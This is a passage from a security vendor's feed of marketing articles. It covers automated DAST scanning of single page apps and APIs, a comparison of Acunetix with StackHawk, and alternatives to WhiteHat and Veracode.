href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;get started with our free account&lt;/u&gt;&lt;/a&gt; for your testing.&lt;/p&gt;&lt;h3&gt;Step 2: Configure for Testing the API ⚙️ &lt;/h3&gt;&lt;p&gt;After selecting a tool, the tool must be configured to test the APIs. This is done by providing the scanner a list of the API routes. In StackHawk, for example, there are a few ways to do this:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html&quot;&gt;&lt;u&gt;OpenAPI Specification&lt;/u&gt;&lt;/a&gt; for REST APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;&lt;u&gt;GraphQL Introspection Endpoint&lt;/u&gt;&lt;/a&gt; for GraphQL APIs&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/soap-configuration.html&quot;&gt;&lt;u&gt;WSDL File&lt;/u&gt;&lt;/a&gt; for SOAP APIs&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Having a documented API is key here. If your team is not already using OpenAPI specification or using GraphQL (which is self documenting via the &lt;a href=&quot;https://graphql.org/learn/introspection/&quot;&gt;&lt;u&gt;introspection endpoint&lt;/u&gt;&lt;/a&gt;), you should embrace this best practice and begin documenting your API. There are some useful tools to help you get started, including &lt;a href=&quot;https://swagger.io/tools/swagger-editor/&quot;&gt;&lt;u&gt;SmartBear’s Swagger Editor&lt;/u&gt;&lt;/a&gt;, the &lt;a href=&quot;https://github.com/OpenAPITools/openapi-generator&quot;&gt;&lt;u&gt;OpenAPI Generator&lt;/u&gt;&lt;/a&gt;, or &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/openapi-configuration.html#tips-for-creating-a-new-openapi-spec-for-hawkscan&quot;&gt;&lt;u&gt;language specific methods&lt;/u&gt;&lt;/a&gt; as described in the StackHawk docs.&lt;/p&gt;&lt;h3&gt;Step 3: Scan the API for Vulnerabilities 🔎&lt;/h3&gt;&lt;p&gt;With all of that in place, you can kick off a scan of your API in a pre-production environment and then review the findings. &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;&lt;u&gt;Running a scan&lt;/u&gt;&lt;/a&gt; with StackHawk is as simple as a single Docker command in your CLI. Other tools generally run as a hosted scanner, operating in the cloud. While this sounds like a great option initially, note that these scanners are typically built for scanning production applications (which is dangerous if you have a vulnerability!) and not ideal for automation.&lt;/p&gt;&lt;h3&gt;Step 4: Scan the Front End for Vulnerabilities 🔎&lt;/h3&gt;&lt;p&gt;While an HTML spider leaves much of the application untested (hence, the notes above on why you should test the API), you should still test the front end HTML for things such as &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/#dombased-xss-attacks&quot;&gt;&lt;u&gt;DOM XSS&lt;/u&gt;&lt;/a&gt; and cookie related vulnerabilities. The good news is that these are typically a site wide error (and also a simple site wide fix).&lt;/p&gt;&lt;p&gt;Depending on your configuration of the scanner, a single scan may encompass both steps 3 and 4. However, for optimal performance, teams will often scan the front end and backing APIs separately.&lt;/p&gt;&lt;h3&gt;Step 5: Automate Your Security Testing 🤖&lt;/h3&gt;&lt;p&gt;After an initial security test of your single page application, it is time to &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;&lt;u&gt;automate the testing in CI/CD&lt;/u&gt;&lt;/a&gt;. With automated application security, your team will be notified early in the development lifecycle when a new vulnerability is introduced instead of being surprised weeks (or even months!) later from a security team audit or external penetration test.&lt;/p&gt;&lt;p&gt;A best practice is to establish a baseline after the first scan, allowing all existing vulnerabilities to be prioritized and fixed among other engineering work. With this in place, an engineering team can safely instrument automation in blocking mode, breaking the build if a new vulnerability is introduced. StackHawk has triage actions built into the platform, allowing teams to automatically &lt;a href=&quot;https://marketplace.atlassian.com/apps/1223104/stackhawk-for-jira&quot;&gt;&lt;u&gt;send findings to Jira&lt;/u&gt;&lt;/a&gt; or accept the risk of certain findings, making it simple to use the platform to catch all new security bugs.&lt;/p&gt;&lt;h2&gt;Deliver Secure Single Page Apps Today&lt;/h2&gt;&lt;p&gt;Oftentimes, getting started with security testing is the hardest part. However, it is often more daunting than it seems. Most StackHawk users are able to successfully run their first security test in less than 15 minutes, and our support team is always ready to help if you encounter any issues. Don’t build up more security technical debt - &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;get started testing today&lt;/u&gt;&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Application Security Stack Up: Acunetix and StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/acunetix-vs-stackhawk</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/acunetix-versus-stackhawk/&quot;&gt;&lt;u&gt;Acunetix&lt;/u&gt;&lt;/a&gt; and StackHawk are both &lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;Dynamic Application Security Testing (DAST)&lt;/u&gt;&lt;/a&gt; tools. As DAST scanners, both tools help teams find and fix common application security vulnerabilities – like &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;cross site scripting (XSS)&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL Injection&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;With this blog, we will dig into the similarities and differences between the two so you can better understand which is the right tool for your organization. &lt;/p&gt;&lt;h2&gt;Acunetix vs. StackHawk Overview&lt;/h2&gt;&lt;p&gt;Before we jump into the details of each product below, let&amp;#39;s cover the fundamental differences in approach between Acunetix and StackHawk. The differences between the products boil down to when security tests are run, who is using the product, and the architecture of the application.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;When DAST Tests are Run (Shifting AppSec Left):&lt;/b&gt; Acunetix was built to scan production applications. With the frequency of deployments when Acunetix launched in 2005, this was the right approach. Today, modern software teams deploy frequently and leverage automated testing in CI/CD. While Acunetix can be used to test publicly available staging sites, StackHawk is the only tool on the market truly built for automation in CI/CD. StackHawk does not require a publicly facing application, allowing teams to test earlier in CI/CD or even locally. Additionally, this allows for the testing of each underlying API and microservices independently, which improves performance and accuracy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Who is Reviewing the Result (Developer-Centric Security):&lt;/b&gt; StackHawk is a developer-centric DAST product, built for developers to own the triage and fixes of scanner findings. With StackHawk, developers are alerted of any newly introduced findings and then can leverage a cURL command generator within the StackHawk platform to recreate the finding locally. With StackHawk, security teams provide strategic guidance up front and monitor risk based on activities that developers take. Acunetix takes a different approach with a product built for security teams. With Acunetix, security teams deploy the scan and review the findings themselves, ultimately adding them to an engineering backlog for prioritization.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Architecture of the Application (API Security Testing):&lt;/b&gt; Modern applications are built with backing APIs (typically REST or GraphQL). The DAST tool used to test these modern applications must be built to test the underlying APIs. While both tools have functionality that allows for the testing of APIs, a review of the documentation pages for each product will make it clear that StackHawk has best-in-class API testing while Acunetix has built workarounds that allow the scanner to test APIs. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;While every software team and company have different needs, as a generalization, StackHawk is a better fit for companies that are embracing DevSecOps and Acunetix is a better fit for more traditional software development orgs.&lt;/p&gt;&lt;p&gt;Below is an overview of the key differences between the products. After that, let’s dive into a bit more detail and see how the two stack up when it comes to scanner fundamentals, application coverage, how they can help security teams scale AppSec, and more. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;The Basics: Core Product Differences&lt;/h2&gt;&lt;p&gt;Both Acunetix and StackHawk have comprehensive scanning engines that find common vulnerabilities in the applications that your team has developed. The two tools have different underlying scanners, and take different approaches when it comes to deployment.&lt;/p&gt;&lt;h3&gt;Acunetix&lt;/h3&gt;&lt;h4&gt;Scanner&lt;/h4&gt;&lt;p&gt;Acunetix has always focused on creating a highly-performant scanner. The company actively maintains the proprietary scanner it developed in 2005. The Acunetix scanner tests network security vulnerabilities as an add-on to its core application security testing. The scanner also permits multiple scanning agents to be deployed concurrently to further accelerate scanning. &lt;/p&gt;&lt;h4&gt;Deployment Model&lt;/h4&gt;&lt;p&gt;To best scan target sites, Acunetix offers two deployment models - a cloud-based scanner and an &lt;u&gt;on-premise scanner&lt;/u&gt; (though standard users only have access to on-prem). &lt;/p&gt;&lt;p&gt;For those that prefer to keep all scan data in-house, the on-premise approach can work well. The cloud-based service is a good option for those that prefer to offload infrastructure management and reap the benefits of a SaaS model. &lt;/p&gt;&lt;p&gt;An important note for each deployment model is that for Acunetix to be able to successfully scan a target, the running app needs to be accessible from the hosted/on-prem scanner. For companies using the cloud-based scanner, this means that the application needs to be publicly available, limiting the ability to automate testing in the DevOps pipeline.&lt;/p&gt;&lt;h3&gt;🦅 StackHawk&lt;/h3&gt;&lt;h4&gt;Scanner&lt;/h4&gt;&lt;p&gt;StackHawk is built on top of the world’s most widely used vulnerability scanner - &lt;u&gt;ZAP&lt;/u&gt;. ZAP was released in 2011, and has been maintained by an active and trusted open source community ever since. StackHawk has made updates to the ZAP scanner to better suit the needs of modern security teams. A few highlights include: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Technology Flags for Scan Scoping. &lt;/b&gt;When configuring a scan in StackHawk, users can select the underlying technologies used within the application. This ensures that the scanner only runs relevant tests, reducing scan times and false positives.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scanner Performance. &lt;/b&gt;StackHawk has optimized ZAP’s performance to ensure that tests run quickly and successfully every time.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Results Streaming. &lt;/b&gt;Findings are sent to the StackHawk platform as the scan runs so users can begin triaging and fixing vulnerabilities right away.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Deployment Model&lt;/h4&gt;&lt;p&gt;StackHawk’s scanner is built to test for vulnerabilities before an application is deployed into production, enabling teams to fix findings faster and deliver secure software out of the gate.. With automated testing in CI/CD, StackHawk will alert a developer if she has introduced a new vulnerability, allowing for a fix while that part of the codebase is still fresh in her mind.&lt;/p&gt;&lt;p&gt;The StackHawk scanner is packaged in a Docker container, allowing scans to be run in CI/CD, on a local machine, or against production. Configuration is managed through a yaml code file, allowing for scalability and version control. While the StackHawk scanner runs on a local machine or build server, the product is cloud-based software, with results streaming back to the StackHawk web application.&lt;/p&gt;&lt;h2&gt;Support for Modern Applications&lt;/h2&gt;&lt;h3&gt;Acunetix&lt;/h3&gt;&lt;h4&gt;Modern App and API Support&lt;/h4&gt;&lt;p&gt;Acunetix introduced DeepScan technology which was built to scan HTML5, JavaScript and Single Page Apps (SPAs).  According to Acunetix, “The DeepScan technology is a DOM parser based on an improved Chromium engine.” DeepScan claims to execute the JavaScript within the application, building the tree of paths and API routes. While Acunetix has a workaround for importing OpenAPI specifications or WSDL files, they encourage users to leverage the spidering technology of DeepScan.&lt;/p&gt;&lt;h4&gt;Authentication&lt;/h4&gt;&lt;p&gt;Authenticated scanning can be tricky no matter what tool you use. Acunetix has tried to simplify scan authentication through its Login Sequence Recorder. &lt;/p&gt;&lt;p&gt;The Login Sequence Recorder supports different types of authentication. For simple logins, users can have Acunetix auto-login into a target website by saving credential information like username and password in the Acunetix platform.&lt;/p&gt;&lt;p&gt;For instances where users are required to provide a differing variable at each login, like with a CAPTCHA or MFA, users note this in the login recorder. At scan time, Acunetix will pause and prompt the user for a `Manual Intervention Action` to allow the scan to proceed. &lt;/p&gt;&lt;p&gt;The Login Sequence Recorder does support OAuth2. Users are able to provide the platform with access tokens, authorization URLs, and other application identifiers to grant access to an OAuth2 authentication flow.&lt;/p&gt;&lt;p&gt;If you have simple authentication scenarios, the Login Sequence Recorder can be helpful. While the Login Sequence Recorder makes it simple for initial testing, it is built for testing production applications and limits capabilities for DevSecOps automation.&lt;/p&gt;&lt;h3&gt;🦅 StackHawk &lt;/h3&gt;&lt;h4&gt;Modern App and API Support&lt;/h4&gt;&lt;p&gt;StackHawk was built to test modern applications and APIs, including REST, SOAP, and GraphQL. Rather than relying on a crawl of the application to identify the API routes, StackHawk leverages API documentation (OpenAPI Specification, GraphQL introspection, or WSDL files) to fully test the underlying API.&lt;/p&gt;&lt;p&gt;With StackHawk’s API configuration, the scanner is highly performant and accurate, only running relevant tests based on the technologies used within the application. Additionally, the StackHawk scanner recognizes REST parameters, which allows it to only test the API endpoint once. Scanners that leverage a crawl of the application for API testing are significantly less performant and accurate, testing every path variant for the same underlying API route and sending requests that are not relevant to the specifc technology (E.g., XML requests to REST APIs). &lt;/p&gt;&lt;p&gt;Together, all of these features work to help users get fast and accurate scans, even on complex modern web apps.&lt;/p&gt;&lt;h4&gt;Authenticated Scanning&lt;/h4&gt;&lt;p&gt;StackHawk supports the three most common authentication scenarios: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/#usernamepassword-authentication--cookie-authorization&quot;&gt;&lt;u&gt;Username/Password Authentication + Cookie Authorization&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/#usernamepassword-authentication--bearer-token-authorization&quot;&gt;&lt;u&gt;Username/Password Authentication + Bearer Token Authorization&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/authenticated-scanning/#external-token-authentication--custom-token-authorization&quot;&gt;&lt;u&gt;External Token Authentication + Custom Token Authorization&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;For all of these scenarios, the user defines the expected experience of an authenticated user in the StackHawk configuration file. Users provide logged in and logged out indicators, the login route, and the credentials for the type of authentication the app requires.&lt;/p&gt;&lt;p&gt;By controlling authentication in the configuration file, StackHawk users get flexibility to fit whatever authentication scenario an app requires. Users can run automated scans that require complex authentication scenarios without having to manually intervene. For companies that already leverage automated test suites, such as integration testing, the same authentication logic can typically be used for StackHawk.&lt;/p&gt;&lt;h2&gt;Scaling AppSec Across the Development Org &lt;/h2&gt;&lt;p&gt;DAST has begun to shift into the CI/CD pipeline as teams try to make security just another part of code quality. With this model, security teams can work collaboratively with developers to remediate vulnerabilities. &lt;/p&gt;&lt;p&gt;But, successfully making this happen requires that the security tools are developer friendly – meaning they fit into the dev workflow and provide team members with less security experience the ability to make informed decisions when it comes to risk. &lt;/p&gt;&lt;h3&gt;Acunetix&lt;/h3&gt;&lt;h4&gt;Automating in CI/CD&lt;/h4&gt;&lt;p&gt;Acunetix has introduced &lt;u&gt;integrations&lt;/u&gt; that makes it possible for certain CI/CD systems to kick off a DAST scan as the application enters a publicly available staging or test build. In doing so, security testing can become part of the pre-release checks typically run by a QA team.&lt;/p&gt;&lt;p&gt;&lt;u&gt;As Acunetix states&lt;/u&gt;, this approach makes security testing a phase between “test” and “release” in the DevOps pipeline. &lt;/p&gt;&lt;p&gt;It is important to note the limits of this approach:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;To automate Acunetix scans in CI/CD, an engineering team must make their staging / test site publicly available. Not only does this introduce additional engineering complexity, but it also means that vulnerabilities must be publicly exploitable before they can be identified.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;This approach to security test automation typically results in testing the complete user facing application rather than testing each microservice individually, resulting in longer scan times and difficulty aligning findings with a specific engineering team.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;While this testing is automated in CI/CD, it is also late in the delivery lifecycle. The specifics differ based on CI/CD implementation, but oftentimes an engineer has already moved on to a different project by the time Acunetix would find a potential vulnerability. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;A final caveat - not every tier of Acunetix includes CI/CD integrations - standard options do not have access to this tooling. &lt;/p&gt;&lt;h4&gt;User Experience for Development Teams&lt;/h4&gt;&lt;p&gt;Acunetix provides two main ways for security teams to interface with development teams – issue tracker integration and specific developer reports. &lt;/p&gt;&lt;p&gt;With issue tracker integrations, security teams can send findings into tools like Jira or GitLab. In the ticket, Acunetix includes details around the vulnerability like criticality level, a vulnerability description and evidence that the finding exists. Unfortunately, this approach leaves finding and fixing roles divided. This can mean long lead times to get vulnerabilities fixed, as engineering teams try to work security remediation into sprints and developers revisit code they wrote weeks or months ago. &lt;/p&gt;&lt;p&gt;In addition to issue tracking integrations, Acunetix Premium and 360 tiers also provide a ‘Developer Report’ for the engineers fixing vulnerabilities. The report provides information on the files which have a long response time, a list of external links, email addresses, client scripts and external hosts, together with remediation examples and best practice recommendations for fixing the vulnerabilities. This report is aligned with an engineering organization that would appoint a single individual to fix a batch of security issues.&lt;/p&gt;&lt;h3&gt;🦅 StackHawk&lt;/h3&gt;&lt;h4&gt;Automating in CI/CD&lt;/h4&gt;&lt;p&gt;StackHawk is purpose-built for automation in CI/CD. With the containerized scanner, StackHawk can be run at any stage of the DevOps pipeline. Developers will often configure pre-commit hooks to check their code for new vulnerabilities and engineering teams will instrument StackHawk alongside unit and integration tests in CI/CD. &lt;/p&gt;&lt;p&gt;StackHawk has a comprehensive set of &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/&quot;&gt;&lt;u&gt;CI/CD integrations&lt;/u&gt;&lt;/a&gt;, making it easy to add StackHawk to the tooling your company uses. Like all bugs, fixing vulnerabilities earlier in the development cycle is faster and &lt;a href=&quot;https://deepsource.io/blog/exponential-cost-of-fixing-bugs/&quot;&gt;&lt;u&gt;cheaper&lt;/u&gt;&lt;/a&gt;. Developers are able to quickly remediate &lt;a href=&quot;https://www.vonage.com/resources/articles/agile-development-context-switching-comes-at-the-price-of-delivery/&quot;&gt;&lt;u&gt;without context switching&lt;/u&gt;&lt;/a&gt; and without sacrificing velocity.&lt;/p&gt;&lt;h4&gt;User Experience for Development Teams&lt;/h4&gt;&lt;p&gt;StackHawk has optimized its user interface, findings details, and findings recreation to work for both developers and security teams. &lt;/p&gt;&lt;p&gt;When a potential vulnerability is identified, the terminal output and web app UI provides teams with cheat sheets to understand what the vulnerability is and how to fix it. Every finding has request and response details, and the platform provides developers with a cURL command to recreate a vulnerability in their IDE so vulnerabilities can be fixed on the fly. &lt;/p&gt;&lt;p&gt;To keep the vulnerability notifications streamlined, StackHawk does not repeat reporting on triaged findings. Once a finding is handled - either sent to a ticketing system, marked as risk accepted, or marked as a false positive, the scanner will no longer flag this as a new vulnerability, minimizing noise and driving toward action. &lt;/p&gt;&lt;h2&gt;The Fine Print&lt;/h2&gt;&lt;h3&gt;Acunetix&lt;/h3&gt;&lt;h4&gt;Pricing and Access&lt;/h4&gt;&lt;p&gt;Acunetix offers &lt;u&gt;three tiers of its product&lt;/u&gt; - Standard, Premium and 360. The primary driver for cost across all three of these tiers is the number of target sites a user would like to scan, with major pricing jumps happening at five sites, 10 sites, and 50 sites. &lt;/p&gt;&lt;p&gt;The three tiers vary in the number of users that have access to the scanner, the types of integrations provided, and reporting capabilities. &lt;/p&gt;&lt;h3&gt;🦅 StackHawk&lt;/h3&gt;&lt;h4&gt;Pricing and Access&lt;/h4&gt;&lt;p&gt;Like Acunetix, StackHawk has &lt;a href=&quot;https://www.stackhawk.com/pricing/&quot;&gt;&lt;u&gt;three tiers&lt;/u&gt;&lt;/a&gt; – the free Developer Plan, the Pro Plan, and the Enterprise Plan. &lt;/p&gt;&lt;p&gt;Engineering teams can get started testing their first application for free. For teams testing multiple applications, StackHawk is priced per user. It is important to note that all tiers include full access to CI/CD integrations. &lt;/p&gt;&lt;h2&gt;So Which Tool Should You Choose?&lt;/h2&gt;&lt;p&gt;When deciding the right tool for org, it is important to think about how your team wants to approach AppSec more broadly before narrowing in on one tool or another. &lt;/p&gt;&lt;p&gt;We are obviously biased, but think that StackHawk offers teams the most important capabilities to shift AppSec left. &lt;/p&gt;&lt;p&gt;If you are interested in trying StackHawk in your environment, feel free to &lt;a href=&quot;mailto:sales@stackhawk.com&quot;&gt;&lt;u&gt;reach out to our team&lt;/u&gt;&lt;/a&gt;, or &lt;a href=&quot;https://auth.stackhawk.com&quot;&gt;&lt;u&gt;start scanning on your own for free&lt;/u&gt;&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Alternatives to WhiteHat for Developer-Centric Security]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/alternatives-to-whitehat-for-developer-centric-security</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;WhiteHat is an application security platform offering dynamic application security testing (DAST), static application security testing (SAST), and software composition analysis (SCA). WhiteHat rose to prominence in the early 2000s, emerging as a leader in the burgeoning application security space. For years, WhiteHat was one of the strongest product offerings on the market. However, with changes in the way that software is delivered (Agile and then DevOps), it has struggled to keep up. As software teams look to shift application security left and automate testing in CI/CD (sometimes referred to as DevSecOps), they are finding that WhiteHat lacks the features they need.&lt;/p&gt;&lt;p&gt;Below is an overview of how things have changed, why WhiteHat is losing popularity, and alternative solutions for today’s application security teams.&lt;/p&gt;&lt;h2&gt;The Evolution of Application Security&lt;/h2&gt;&lt;p&gt;Any software company or software-enabled company knows that the security of their applications is critical to their long-term success. Without proper security measures in place, companies risk significant reputational and financial liabilities. Tools that test for vulnerabilities in the application have played a critical role in enabling companies to deliver securely. WhiteHat played an important role in this historically. &lt;/p&gt;&lt;p&gt;The advent of DevOps has changed the application security landscape. Infrastructure has moved to the cloud and applications are constantly being updated with small change sets frequently pushed to production. Other areas of software development have leaned into CI/CD automation as a result of this change. One example is QA testing - what was once a largely manual QA process has been replaced by test automation.&lt;/p&gt;&lt;p&gt;Until recently, however, application security had not kept up with this shift. Today’s software teams cannot rely on security tools built as a stage in a waterfall process. Today’s teams require tools that run automated tests in CI/CD, and run them fast. They require tools that alert a developer of a new vulnerability as soon as possible after she has made the change to the code. And they require tools that enable the developer to fix newly introduced vulnerabilities in a self-serve manner.&lt;/p&gt;&lt;p&gt;Simply put, WhiteHat and other legacy application security platforms simply cannot keep up with the speed of DevOps.&lt;/p&gt;&lt;h2&gt;Where WhiteHat Struggles&lt;/h2&gt;&lt;p&gt;In its day, WhiteHat provided an extremely valuable service. As code and customer-facing applications were tested for vulnerabilities, WhiteHat had a team of security analysts that reviewed and validated any findings. Enterprise security teams that were thin on resources found significant value in receiving validated findings (meaning fewer false positives) that they could pass on to engineering teams with a request to fix.&lt;/p&gt;&lt;p&gt;Today, this model no longer works.&lt;/p&gt;&lt;p&gt;Today software teams are pushing change sets multiple times per week or day. A workflow requiring external validation, or even a review by an internal security team, is simply too slow. These workflows either result in security teams being a blocker to deploy, or security teams that are constantly playing catch up. In either world, vast inefficiencies are introduced with internal prioritization discussions and developers revisiting parts of the codebase that they’ve long ago completed. Today’s software teams need security tooling that works in the same way the rest of their engineering tools work.&lt;/p&gt;&lt;h2&gt;Modern Alternatives to WhiteHat&lt;/h2&gt;&lt;p&gt;For teams looking for automated, developer-centric application security testing tools, there are new players in the market offering best-in-class solutions. For developer-centric solutions, there is not a single platform that provides all forms of application security testing. Luckily, these tools work well together, are developer friendly, and integrate into existing engineering workflows and tools.&lt;/p&gt;&lt;h3&gt;DAST Alternative to WhiteHat: StackHawk&lt;/h3&gt;&lt;p&gt;StackHawk is the only developer-centric DAST product on the market. Historically, dynamic security testing was performed against the production application long after a deploy. With StackHawk, teams run dynamic testing in CI/CD, finding newly added vulnerabilities before they hit production and while the developer is still in the context of the code she was working on. &lt;/p&gt;&lt;p&gt;Security risk is increasingly at the API layer and StackHawk offers the best API security testing functionality out there, allowing you to leverage a single platform to find front end and API vulnerabilities. When a developer is alerted of a new finding, StackHawk also provides documentation on how to fix that type of vulnerability and a cURL command generator to recreate the request for debugging.&lt;/p&gt;&lt;p&gt;If you are looking for other DAST solutions, but are not as concerned with developer-first features, you could consider open source ZAP, Burp Suite, or Netsparker. &lt;/p&gt;&lt;h3&gt;SAST Alternatives to WhiteHat: GitHub or Snyk&lt;/h3&gt;&lt;p&gt;There have been recent developments in the static analysis space, with Snyk and GitHub both growing their SAST functionality through acquisitions. While both products are earlier to market, they are already leading the way on developer-centric SAST.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://securitylab.github.com/tools/codeql/&quot;&gt;&lt;u&gt;CodeQL&lt;/u&gt;&lt;/a&gt; is GitHub’s SAST offering. GitHub brings security issues into the pull request with CodeQL code scanning. It also enables users to add other code scanning tools to the build process. CodeQL has an &lt;a href=&quot;https://github.com/github/codeql&quot;&gt;&lt;u&gt;open source database of rules&lt;/u&gt;&lt;/a&gt; that it tests code for, also enabling users to &lt;a href=&quot;https://docs.github.com/en/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#running-additional-queries&quot;&gt;&lt;u&gt;write their own static tests&lt;/u&gt;&lt;/a&gt;. CodeQL can alert a developer in the IDE and can be instrumented in CI/CD to break the build if a new security is introduced.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://snyk.io/product/snyk-code/&quot;&gt;&lt;u&gt;Snyk Code&lt;/u&gt;&lt;/a&gt; is the latest offering from Snyk. With a strong foundation in developer-centric application security with the Snyk Open Source product (more on that below!), the company has expanded into the SAST space. Snyk adds SAST scanning to the IDE or CI/CD, boasting scan times that are 10-50x faster than other solutions. With a solid developer experience and fast scan times, Snyk makes ensuring secure coding patterns through SAST easy.&lt;/p&gt;&lt;h3&gt;SCA Alternative to WhiteHat: Snyk&lt;/h3&gt;&lt;p&gt;When it comes to software composition analysis, &lt;a href=&quot;https://snyk.io/product/open-source-security-management/&quot;&gt;&lt;u&gt;Snyk Open Source&lt;/u&gt;&lt;/a&gt; is the clear favorite in the market. Over the past five years, Snyk has become the obvious choice for open source security. Built on top of the industry leading &lt;a href=&quot;https://snyk.io/product/vulnerability-database/&quot;&gt;&lt;u&gt;Intel Vulnerability Database&lt;/u&gt;&lt;/a&gt;, Snyk Open Source makes it simple for developers to understand when they are including a vulnerable dependency in their code. Snyk doesn’t stop at simply alerting the developer about the vulnerable dependency, but also provides tooling to help push a fix, either through an automated pull request to update the dependency or proprietary patches provided if an update is too disruptive.&lt;/p&gt;&lt;p&gt;Other SCA products on the market include &lt;a href=&quot;https://docs.github.com/en/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies&quot;&gt;&lt;u&gt;Dependabot by GitHub&lt;/u&gt;&lt;/a&gt;, FOSSA, and WhiteSource.  &lt;/p&gt;&lt;h2&gt;Getting Started with Developer-Centric Application Security&lt;/h2&gt;&lt;p&gt;Making a shift to developer-centric application security can be intimidating. Decades of security tools that are not developer friendly have created skepticism about jumping into a project like this. However, if there is high-level cultural alignment about shifting application security left, a quick test of the modern tooling will put concerns at ease. Be sure to sign up for a free account with companies like &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://app.snyk.io/login?cta=sign-up&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt; to run some tests. &lt;/p&gt;&lt;p&gt;If you’d prefer to see the tools in action first, check out the video below of StackHawk and Snyk working together.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/v74b2ucycp?videoFoam=true&quot;&gt;Video&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top Veracode Alternatives for Modern Security Teams]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/veracode-alternatives-for-modern-software-security-teams</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;Veracode is a popular application security testing platform, and it has become one of the leaders in many of the most recent Gartner Magic Quadrants. With Dynamic Analysis (DAST), Software Composition Analysis (SCA), and Static Analysis (SAST) all wrapped into a single platform, Veracode has been considered a one-stop shop for many security teams. However, despite the lead in the Magic Quadrant and the breadth of products offered, customer feedback on the Veracode product is often lacking. It is often described as selling a big vision that the product fails to deliver on.&lt;/p&gt;&lt;p&gt;There are certain use cases where Veracode performs well, but software teams that are delivering modern applications and that desire to shift security left typically search for alternatives that are built for developers and DevOps automation. Modern teams look for solutions that introduce novel and cutting-edge ways to enhance code quality and automate code reviews. Tools like Snyk and StackHawk are popular because they provide features to automate certain aspects of code reviews (in regard to security) and improve code standards. These types of platforms help with reducing technical debt through continuous monitoring and tailored analysis. But before we get into the particulars of the Veracode alternatives, let&amp;#39;s begin by looking a bit deeper at Veracode itself.&lt;/p&gt;&lt;h2&gt;Understanding Veracode and Its Limitations&lt;/h2&gt;&lt;p&gt;Veracode is a well-established application security platform that provides a range of tools and services to help organizations identify and manage security vulnerabilities in their software development process. However, despite its strengths, Veracode has its limitations, 